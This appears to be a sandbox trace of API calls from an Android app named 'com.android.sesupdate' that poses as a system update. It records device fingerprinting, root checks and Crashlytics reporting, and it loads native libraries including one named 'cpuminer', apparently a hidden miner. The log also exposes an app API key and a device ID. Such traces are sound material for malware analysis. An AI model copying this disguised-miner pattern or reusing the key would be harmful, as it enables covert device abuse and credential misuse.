                          flagsjava.lang.Integer
                          • toString: 0
                          NameTypeValue
                          Return Valueandroid.content.pm.PackageManager$NameNotFoundException
                          • toString: android.content.pm.PackageManager$NameNotFoundException: io.crash.air
                          API: io.fabric.sdk.android.FabricContext->getPackageName at com.crashlytics.android.core.AppData.create:11 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.android.sesupdate
                          API: io.fabric.sdk.android.services.common.IdManager->getInstallerPackageName at com.crashlytics.android.core.AppData.create:14 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.google.android.feedback
                          API: io.fabric.sdk.android.services.common.IdManager->getAppInstallIdentifier at com.crashlytics.android.core.CLSUUID.<init>:16 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 727b1e1c99ed48bfa431dd3ed82456db
                          API: io.fabric.sdk.android.services.common.CommonUtils->sha1 at com.crashlytics.android.core.CLSUUID.<init>:19 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: 727b1e1c99ed48bfa431dd3ed82456db
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 2139026ba246eeec6abbb147dbf0c48102e7639a
                          API: java.io.File-><init> at com.crashlytics.android.core.ClsFileOutputStream.<init>:24 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core
                          p1java.lang.String
                          • toString: 5BA599990096-0001-3F10-2139026BA246BeginSession.cls_temp
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246BeginSession.cls_temp
                          API: java.io.File-><init> at com.crashlytics.android.core.ClsFileOutputStream.<init>:65 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246BeginSession.cls_temp
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246BeginSession.cls_temp
                          API: java.io.File-><init> at com.crashlytics.android.core.ClsFileOutputStream.close:35 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246BeginSession.cls
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246BeginSession.cls
                          API: java.io.File->renameTo at com.crashlytics.android.core.ClsFileOutputStream.close:39 Show source
                          NameTypeValue
                          p0java.lang.Boolean
                          • toString: true
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246BeginSession.cls
                          API: com.crashlytics.android.core.CrashlyticsController$1.com.crashlytics.android.core->CrashlyticsController$1 at com.crashlytics.android.core.CrashlyticsController.<clinit>:5 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: BeginSession
                          NameTypeValue
                          Return Valuecom.crashlytics.android.core.CrashlyticsController$1
                          • toString: com.crashlytics.android.core.CrashlyticsController$1@38499250
                          API: android.content.pm.PackageManager->getApplicationInfo at ..:25 Show source
                          NameTypeValue
                          packageNamejava.lang.String
                          • toString: com.android.sesupdate
                          flagsjava.lang.Integer
                          • toString: 128
                          NameTypeValue
                          Return Valueandroid.content.pm.ApplicationInfo
                          • toString: ApplicationInfo{22ad394e com.android.sesupdate}
                          API: com.crashlytics.android.core.ManifestUnityVersionProvider->getUnityVersion at ..:25 Show source
                          NameTypeValue
                          Return Valuenull
                          • toString: null
                          API: com.crashlytics.android.core.CLSUUID->toString at ..:15 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 5BA599990096-0001-3F10-2139026BA246
                          API: com.crashlytics.android.core.CrashlyticsCore->getVersion at ..:18 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 2.4.1.19
                          API: java.io.File-><init> at ..:28 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core
                          p1java.lang.String
                          • toString: 5BA599990096-0001-3F10-2139026BA246BeginSession.json
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246BeginSession.json
                          API: java.io.FileOutputStream-><init> at ..:30 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246BeginSession.json
                          NameTypeValue
                          Return Valuejava.io.FileOutputStream
                          • toString: java.io.FileOutputStream@389a9421
                          API: io.fabric.sdk.android.services.common.IdManager->getAppIdentifier at ..:10 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.android.sesupdate
                          API: io.fabric.sdk.android.services.common.IdManager->getAppInstallIdentifier at ..:23 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 727b1e1c99ed48bfa431dd3ed82456db
                          API: java.io.File-><init> at ..:28 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core
                          p1java.lang.String
                          • toString: 5BA599990096-0001-3F10-2139026BA246SessionApp.cls_temp
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionApp.cls_temp
                          API: java.io.File-><init> at ..:28 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionApp.cls_temp
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionApp.cls_temp
                          API: java.io.File-><init> at ..:50 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core
                          p1java.lang.String
                          • toString: 5BA599990096-0001-3F10-2139026BA246SessionApp.json
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionApp.json
                          API: java.io.FileOutputStream-><init> at ..:50 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionApp.json
                          NameTypeValue
                          Return Valuejava.io.FileOutputStream
                          • toString: java.io.FileOutputStream@1464a3cf
                          API: com.crashlytics.android.core.CrashlyticsController->writeSessionApp at ..:41 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: 5BA599990096-0001-3F10-2139026BA246
                          NameTypeValue
                          Return Valuenull
                          • toString: null
                          API: java.io.File-><init> at ..:13 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: /system/app/Superuser.apk
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /system/app/Superuser.apk
                          API: java.io.File-><init> at ..:13 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: /system/xbin/su
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /system/xbin/su
                          API: java.io.File-><init> at ..:28 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core
                          p1java.lang.String
                          • toString: 5BA599990096-0001-3F10-2139026BA246SessionOS.cls_temp
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionOS.cls_temp
                          API: java.io.File-><init> at ..:28 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionOS.cls_temp
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionOS.cls_temp
                          API: java.io.File-><init> at ..:28 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core
                          p1java.lang.String
                          • toString: 5BA599990096-0001-3F10-2139026BA246SessionOS.json
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionOS.json
                          API: java.io.FileOutputStream-><init> at ..:28 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionOS.json
                          NameTypeValue
                          Return Valuejava.io.FileOutputStream
                          • toString: java.io.FileOutputStream@3ca6831
                          API: com.crashlytics.android.core.CrashlyticsController->writeSessionOS at ..:43 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: 5BA599990096-0001-3F10-2139026BA246
                          NameTypeValue
                          Return Valuenull
                          • toString: null
                          API: java.io.File-><init> at ..:32 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: /proc/meminfo
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /proc/meminfo
                          API: java.io.File-><init> at ..:28 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core
                          p1java.lang.String
                          • toString: 5BA599990096-0001-3F10-2139026BA246SessionDevice.cls_temp
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionDevice.cls_temp
                          API: java.io.File-><init> at ..:28 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionDevice.cls_temp
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionDevice.cls_temp
                          API: java.io.File-><init> at ..:75 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core
                          p1java.lang.String
                          • toString: 5BA599990096-0001-3F10-2139026BA246SessionDevice.json
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionDevice.json
                          API: java.io.FileOutputStream-><init> at ..:75 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/5BA599990096-0001-3F10-2139026BA246SessionDevice.json
                          NameTypeValue
                          Return Valuejava.io.FileOutputStream
                          • toString: java.io.FileOutputStream@3d206ceb
                          API: com.crashlytics.android.core.CrashlyticsController->writeSessionDevice at ..:45 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: 5BA599990096-0001-3F10-2139026BA246
                          NameTypeValue
                          Return Valuenull
                          • toString: null
                          API: com.crashlytics.android.core.LogFileManager->setCurrentSession at ..:49 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: 5BA599990096-0001-3F10-2139026BA246
                          NameTypeValue
                          Return Valuenull
                          • toString: null
                          API: com.crashlytics.android.core.CrashlyticsUncaughtExceptionHandler->isHandlingException at ..:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: java.io.File-><init> at ..:8 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core
                          p1java.lang.String
                          • toString: fatal-sessions
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/fatal-sessions
                          API: java.io.File-><init> at ..:8 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core
                          p1java.lang.String
                          • toString: nonfatal-sessions
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/nonfatal-sessions
                          API: java.io.File-><init> at ..:8 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core
                          p1java.lang.String
                          • toString: invalidClsFiles
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android.crashlytics-core/invalidClsFiles
                          API: com.crashlytics.android.core.CrashlyticsUncaughtExceptionHandler->isHandlingException at ..:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: com.crashlytics.android.core.CrashlyticsController->isHandlingException at com.crashlytics.android.core.CrashlyticsController$13.call:9 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: com.crashlytics.android.core.CrashlyticsController$13->call at com.crashlytics.android.core.CrashlyticsController$13.call:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: org.json.JSONObject.org.json->JSONObject at com.crashlytics.android.core.CrashlyticsController$18.writeTo:12 Show source
                          NameTypeValue
                          p0com.crashlytics.android.core.CrashlyticsController$18$1
                          • toString: {started_at_seconds=1537579417, session_id=5BA599990096-0001-3F10-2139026BA246, generator=Crashlytics Android SDK/2.4.1.19}
                          NameTypeValue
                          Return Valueorg.json.JSONObject
                          • toString: {"started_at_seconds":1537579417,"session_id":"5BA599990096-0001-3F10-2139026BA246","generator":"Crashlytics Android SDK\/2.4.1.19"}
                          API: org.json.JSONObject->toString at com.crashlytics.android.core.CrashlyticsController$18.writeTo:14 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: {"started_at_seconds":1537579417,"session_id":"5BA599990096-0001-3F10-2139026BA246","generator":"Crashlytics Android SDK\/2.4.1.19"}
                          API: org.json.JSONObject.org.json->JSONObject at com.crashlytics.android.core.CrashlyticsController$22.writeTo:12 Show source
                          NameTypeValue
                          p0com.crashlytics.android.core.CrashlyticsController$22$1
                          • toString: {build_version=REL, is_rooted=false, version=4.2.1}
                          NameTypeValue
                          Return Valueorg.json.JSONObject
                          • toString: {"build_version":"REL","is_rooted":false,"version":"4.2.1"}
                          API: org.json.JSONObject->toString at com.crashlytics.android.core.CrashlyticsController$22.writeTo:14 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: {"build_version":"REL","is_rooted":false,"version":"4.2.1"}
                          API: org.json.JSONObject.org.json->JSONObject at com.crashlytics.android.core.CrashlyticsController$24.writeTo:12 Show source
                          NameTypeValue
                          p0com.crashlytics.android.core.CrashlyticsController$24$1
                          • toString: {build_manufacturer=samsung, ids={ANDROID_ID=d6ab1046af78a9eb}, disk_space=4879941632, total_ram=942002176, build_model=Galaxy Nexus, state=0, arch=6, is_emulator=false, build_product==occam, available_processors=4}
                          NameTypeValue
                          Return Valueorg.json.JSONObject
                          • toString: {"build_manufacturer":"samsung","ids":null,"disk_space":4879941632,"total_ram":942002176,"build_model":"Galaxy Nexus","state":0,"arch":6,"is_emulator":false,"build_product":"=occam","available_processors":4}
                          API: org.json.JSONObject->toString at com.crashlytics.android.core.CrashlyticsController$24.writeTo:14 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: {"build_manufacturer":"samsung","ids":null,"disk_space":4879941632,"total_ram":942002176,"build_model":"Galaxy Nexus","state":0,"arch":6,"is_emulator":false,"build_product":"=occam","available_processors":4}
                          API: java.io.File->createNewFile at ..:12 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: com.crashlytics.android.core.CrashlyticsFileMarker->create at ..:12 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: java.io.File->delete at ..:12 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: com.crashlytics.android.core.CrashlyticsFileMarker->remove at ..:12 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: com.crashlytics.android.core.CrashlyticsCore$3->call at ..:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: com.crashlytics.android.core.CrashlyticsFileMarker->isPresent at ..:12 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: com.crashlytics.android.core.CrashlyticsCore$4->call at ..:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: com.crashlytics.android.core.CrashlyticsFileMarker->isPresent at ..:9 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: com.crashlytics.android.core.CrashlyticsCore.CrashMarkerCheck->call at ..:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.FabricContext->registerReceiver at ..:11 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          p1android.content.IntentFilter
                          • toString: android.content.IntentFilter@2d1d2e8b
                          • getAction0: android.intent.action.BATTERY_CHANGED
                          NameTypeValue
                          Return Valueandroid.content.Intent
                          • toString: Intent { act=android.intent.action.BATTERY_CHANGED flg=0x60000010 (has extras) }
                          API: io.fabric.sdk.android.FabricContext->registerReceiver at ..:38 Show source
                          NameTypeValue
                          p0com.crashlytics.android.core.DevicePowerStateListener$1
                          • toString: com.crashlytics.android.core.DevicePowerStateListener$1@2cc9cb81
                          p1android.content.IntentFilter
                          • toString: android.content.IntentFilter@34b32426
                          • getAction0: android.intent.action.ACTION_POWER_CONNECTED
                          NameTypeValue
                          Return Valuenull
                          • toString: null
                          API: io.fabric.sdk.android.FabricContext->registerReceiver at ..:44 Show source
                          NameTypeValue
                          p0com.crashlytics.android.core.DevicePowerStateListener$2
                          • toString: com.crashlytics.android.core.DevicePowerStateListener$2@20ae2867
                          p1android.content.IntentFilter
                          • toString: android.content.IntentFilter@2120c614
                          • getAction0: android.intent.action.ACTION_POWER_DISCONNECTED
                          NameTypeValue
                          Return Valuenull
                          • toString: null
                          API: com.crashlytics.android.core.CrashlyticsController.ReportUploaderHandlingExceptionCheck->isHandlingException at ..:49 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: java.lang.System->loadLibrary at ..:6 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: curl
                          API: java.lang.System->loadLibrary at ..:10 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: gmp
                          NameTypeValue
                          Return Valuenull
                          • toString: null
                          API: java.lang.System->loadLibrary at ..:14 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: cpuminer
                          NameTypeValue
                          Return Valuenull
                          • toString: null
                          API: java.lang.System->loadLibrary at ..:6 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: curl
                          API: java.lang.System->loadLibrary at ..:10 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: gmp
                          NameTypeValue
                          Return Valuenull
                          • toString: null
                          API: java.lang.System->loadLibrary at ..:14 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: cpuminer
                          NameTypeValue
                          Return Valuenull
                          • toString: null
                          API: io.fabric.sdk.android.services.settings.DefaultSettingsSpiCall->getUrl at io.fabric.sdk.android.services.common.AbstractSpiCall.getHttpRequest:17 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: https://settings.crashlytics.com/spi/v2/platforms/android/apps/com.android.sesupdate/settings
                          API: io.fabric.sdk.android.Onboarding->getVersion at io.fabric.sdk.android.services.common.AbstractSpiCall.getHttpRequest:43 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 1.4.1.19
                          API: com.crashlytics.android.answers.SessionAnalyticsFilesSender->getUrl at io.fabric.sdk.android.services.common.AbstractSpiCall.getHttpRequest:17 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          API: com.crashlytics.android.answers.Answers->getVersion at io.fabric.sdk.android.services.common.AbstractSpiCall.getHttpRequest:43 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 1.4.1.19
                          API: com.crashlytics.android.answers.SessionAnalyticsFilesSender->getUrl at io.fabric.sdk.android.services.common.AbstractSpiCall.getHttpRequest:17 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          API: com.crashlytics.android.answers.Answers->getVersion at io.fabric.sdk.android.services.common.AbstractSpiCall.getHttpRequest:43 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 1.4.1.19
                          API: com.crashlytics.android.answers.SessionAnalyticsFilesSender->getUrl at io.fabric.sdk.android.services.common.AbstractSpiCall.getHttpRequest:17 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          API: com.crashlytics.android.answers.Answers->getVersion at io.fabric.sdk.android.services.common.AbstractSpiCall.getHttpRequest:43 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 1.4.1.19
                          API: com.crashlytics.android.answers.SessionAnalyticsFilesSender->getUrl at io.fabric.sdk.android.services.common.AbstractSpiCall.getHttpRequest:17 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          API: com.crashlytics.android.answers.Answers->getVersion at io.fabric.sdk.android.services.common.AbstractSpiCall.getHttpRequest:43 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 1.4.1.19
                          API: com.crashlytics.android.answers.SessionAnalyticsFilesSender->getUrl at io.fabric.sdk.android.services.common.AbstractSpiCall.getHttpRequest:17 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          API: com.crashlytics.android.answers.Answers->getVersion at io.fabric.sdk.android.services.common.AbstractSpiCall.getHttpRequest:43 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 1.4.1.19
                          API: com.android.sesupdate.MainApplication->getApplicationContext at io.fabric.sdk.android.services.common.AdvertisingInfoProvider.<init>:5 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: android.app.SharedPreferencesImpl->getString at io.fabric.sdk.android.services.common.AdvertisingInfoProvider.getInfoFromPreferences:11 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: advertising_id
                          p1java.lang.String
                          • toString: ""
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: ""
                          API: android.content.pm.PackageManager->getPackageInfo at io.fabric.sdk.android.services.common.AdvertisingInfoProvider.getAdvertisingInfoFromStrategies:15 Show source
                          NameTypeValue
                          packageNamejava.lang.String
                          • toString: com.android.vending
                          flagsjava.lang.Integer
                          • toString: 0
                          NameTypeValue
                          Return Valueandroid.content.pm.PackageInfo
                          • toString: PackageInfo{1b0b908 com.android.vending}
                          API: com.android.sesupdate.MainApplication->getPackageName at io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.android.sesupdate
                          API: android.content.pm.PackageManager->getApplicationInfo at io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:11 Show source
                          NameTypeValue
                          packageNamejava.lang.String
                          • toString: com.android.sesupdate
                          flagsjava.lang.Integer
                          • toString: 128
                          NameTypeValue
                          Return Valueandroid.content.pm.ApplicationInfo
                          • toString: ApplicationInfo{af74546 com.android.sesupdate}
                          API: android.os.Bundle->getString at io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:19 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: io.fabric.ApiKey
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 19d58776ce8832688957d734b44933eeffb4ed48
                          API: io.fabric.sdk.android.FabricContext->getPackageName at io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.android.sesupdate
                          API: android.content.pm.PackageManager->getApplicationInfo at io.fabric.sdk.android.services.common.ApiKey.getValue:3 Show source
                          NameTypeValue
                          packageNamejava.lang.String
                          • toString: com.android.sesupdate
                          flagsjava.lang.Integer
                          • toString: 128
                          NameTypeValue
                          Return Valueandroid.content.pm.ApplicationInfo
                          • toString: ApplicationInfo{36d7fca7 com.android.sesupdate}
                          API: io.fabric.sdk.android.FabricContext->getPackageName at io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.android.sesupdate
                          API: android.os.Bundle->getString at io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:19 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: io.fabric.ApiKey
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 19d58776ce8832688957d734b44933eeffb4ed48
                          API: android.os.Bundle->getString at io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:19 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: io.fabric.ApiKey
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 19d58776ce8832688957d734b44933eeffb4ed48
                          API: com.android.sesupdate.MainApplication->getPackageName at io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.android.sesupdate
                          API: android.os.Bundle->getString at io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:19 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: io.fabric.ApiKey
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 19d58776ce8832688957d734b44933eeffb4ed48
                          API: io.fabric.sdk.android.FabricContext->getPackageName at io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.android.sesupdate
                          API: android.content.pm.PackageManager->getApplicationInfo at io.fabric.sdk.android.services.common.ApiKey.getValue:3 Show source
                          NameTypeValue
                          packageNamejava.lang.String
                          • toString: com.android.sesupdate
                          flagsjava.lang.Integer
                          • toString: 128
                          NameTypeValue
                          Return Valueandroid.content.pm.ApplicationInfo
                          • toString: ApplicationInfo{61018fa com.android.sesupdate}
                          API: android.os.Bundle->getString at io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:19 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: io.fabric.ApiKey
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 19d58776ce8832688957d734b44933eeffb4ed48
                          API: com.android.sesupdate.MainApplication->getPackageName at io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.android.sesupdate
                          API: android.os.Bundle->getString at io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:19 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: io.fabric.ApiKey
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 19d58776ce8832688957d734b44933eeffb4ed48
                          API: io.fabric.sdk.android.FabricContext->getPackageName at io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.android.sesupdate
                          API: android.os.Bundle->getString at io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:19 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: io.fabric.ApiKey
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 19d58776ce8832688957d734b44933eeffb4ed48
                          API: com.android.sesupdate.MainApplication->getPackageName at io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.android.sesupdate
                          API: android.os.Bundle->getString at io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:19 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: io.fabric.ApiKey
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 19d58776ce8832688957d734b44933eeffb4ed48
                          API: com.android.sesupdate.MainApplication->getPackageName at io.fabric.sdk.android.services.common.ApiKey.getApiKeyFromManifest:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
